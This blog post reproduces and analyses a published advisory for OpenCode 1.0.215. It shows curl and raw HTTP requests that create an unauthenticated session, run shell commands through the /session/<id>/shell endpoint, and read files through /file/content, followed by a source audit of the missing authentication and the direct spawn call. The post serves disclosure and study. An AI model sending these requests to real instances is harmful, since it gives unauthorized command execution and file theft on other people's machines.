Skip to content

WRITING / POSTS

OpenCode Vulnerability Reproduction: CVE-2026-22812 Analysis

OpenCode 1.0.215: unauthenticated session creation, command execution, and file reads, traced through server.ts, process calls, and CORS settings.

On this page 11 sections

OpenCode Vulnerability Reproduction (GHSA-vxw4-wv6m-9hhh)

OpenCode has recently become popular as an open-source alternative to Claude Code, and a new CVE vulnerability was recently disclosed.

Vulnerability overview

Vulnerability ID: GHSA-vxw4-wv6m-9hhh
Affected versions: OpenCode 1.0.215 and earlier
Vulnerability type: Remote command execution (RCE) + arbitrary file read
Severity: Critical

Official security advisory: https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh

Environment setup

Here we use version 1.0.215 to reproduce the vulnerability:

# 初始化项目
npm init -y

# 安装漏洞版本
npm i opencode-ai@1.0.215

# 启动服务
node_modules/.bin/opencode

I have to say, OpenCode’s UI looks great 👍

OpenCode UI

Vulnerability reproduction

1. RCE (remote command execution)

Step 1: Obtain a session ID

First, create a session through an unauthenticated endpoint:

curl -s -X POST http://127.0.0.1:4096/session -H "Content-Type: application/json" -d "{}"

Response:

{
  "id":"ses_4386ff31fffeP7CTCc2oDn2mwu",
  "version":"1.0.215",
  "projectID":"global",
  "directory":"C:\\Users\\bx336\\Documents\\skills\\cve",
  "title":"New session - 2026-01-16T16:07:45.120Z",
  "time":{
    "created":1768579665120,
    "updated":1768579665120
  }
}

Step 2: Check the CORS configuration

curl -I -X OPTIONS http://127.0.0.1:4096/session

Response headers:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,POST,DELETE,PATCH
Date: Fri, 16 Jan 2026 16:08:30 GMT
Content-Length: 0

We can see that Access-Control-Allow-Origin: * allows access from any origin, making the attack easier.

Step 3: Execute an arbitrary command

Use the obtained session ID to execute a system command:

POST /session/ses_4386ff31fffeP7CTCc2oDn2mwu/shell HTTP/1.1
Host: 127.0.0.1:4096
User-Agent: curl/7.88.1
Accept: */*
Content-Type: application/json
Content-Length: 35
Connection: close

{"agent":"build","command":"whoami"}

Command execution result

List a directory:

{"agent":"build","command":"ls"}

Directory listing

2. Arbitrary file read

OpenCode also has an arbitrary file read vulnerability, allowing an attacker to read any file on the server:

GET /file/content?path=package.json HTTP/1.1
Host: 127.0.0.1:4096
User-Agent: curl/7.88.1
Accept: */*
Connection: close

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json
Date: Fri, 16 Jan 2026 16:21:53 GMT
Content-Length: 95

{"type":"text","content":"{\n  \"dependencies\": {\n    \"opencode-ai\": \"^1.0.215\"\n  }\n}"}

Code-audit analysis

Looking at the code as a whole, the core issue is the lack of any restrictions or processing of user input.

RCE vulnerability-chain analysis

StageCode locationDescription
Route entrypackages/opencode/src/server/server.ts:1407/session/:sessionID/shell only validates parameters; there is no authentication middleware
Call chainpackages/opencode/src/server/server.ts:1434Directly calls SessionPrompt.shell
Command inputpackages/opencode/src/session/prompt.ts:1046ShellInput.command is defined as string
Process launchpackages/opencode/src/session/prompt.ts:1181Directly uses spawn(shell, args, ...) to execute commands

1. Route entry (unauthenticated)

File: packages/opencode/src/server/server.ts:1407

.post(
  "/session/:sessionID/shell",
  describeRoute({ summary: "Run shell command" }),
  validator("param", z.object({ sessionID: z.string() })),
  validator("json", SessionPrompt.ShellInput.omit({ sessionID: true })),
  async (c) => {
    const sessionID = c.req.valid("param").sessionID
    const body = c.req.valid("json")
    const msg = await SessionPrompt.shell({ ...body, sessionID })
    return c.json(msg)
  },
)

Issue analysis:

  • ❌ No authentication mechanism
  • ❌ No access-control checks
  • ❌ Directly receives and processes user input

2. Command input definition

File: packages/opencode/src/session/prompt.ts:1046

export const ShellInput = z.object({
  sessionID: Identifier.schema("session"),
  agent: z.string(),
  model: z.object({ providerID: z.string(), modelID: z.string() }).optional(),
  command: z.string(),
})

Issue analysis:

  • The zod library is used to define the structure of ShellInput.
  • command: z.string() only ensures the input is a string.
  • The string’s contents are not filtered or validated at all.

3. Command execution

File: packages/opencode/src/session/prompt.ts:1181

const matchingInvocation = invocations[shellName] ?? invocations[""]
const args = matchingInvocation?.args

const proc = spawn(shell, args, {
  cwd: Instance.directory,
  detached: process.platform !== "win32",
  stdio: ["ignore", "pipe", "pipe"],
  env: { ...process.env, TERM: "dumb" },
})

Issue analysis:

  • The code uses Node.js’s child_process.spawn to start a process.
  • The command runs in the Instance.directory directory.
  • The user’s command is executed directly, without any security checks.
  • The child process inherits the parent process’s environment variables.

References:

Edit this post

Continue reading

Related posts
Previous post
n8n Expression Injection RCE: CVE-2025-68613 Analysis and Reproduction
Next post
CodeQL Basics: Database Creation and Common Queries

On this page

SEARCH / QUICK FIND

Search English content

Try searching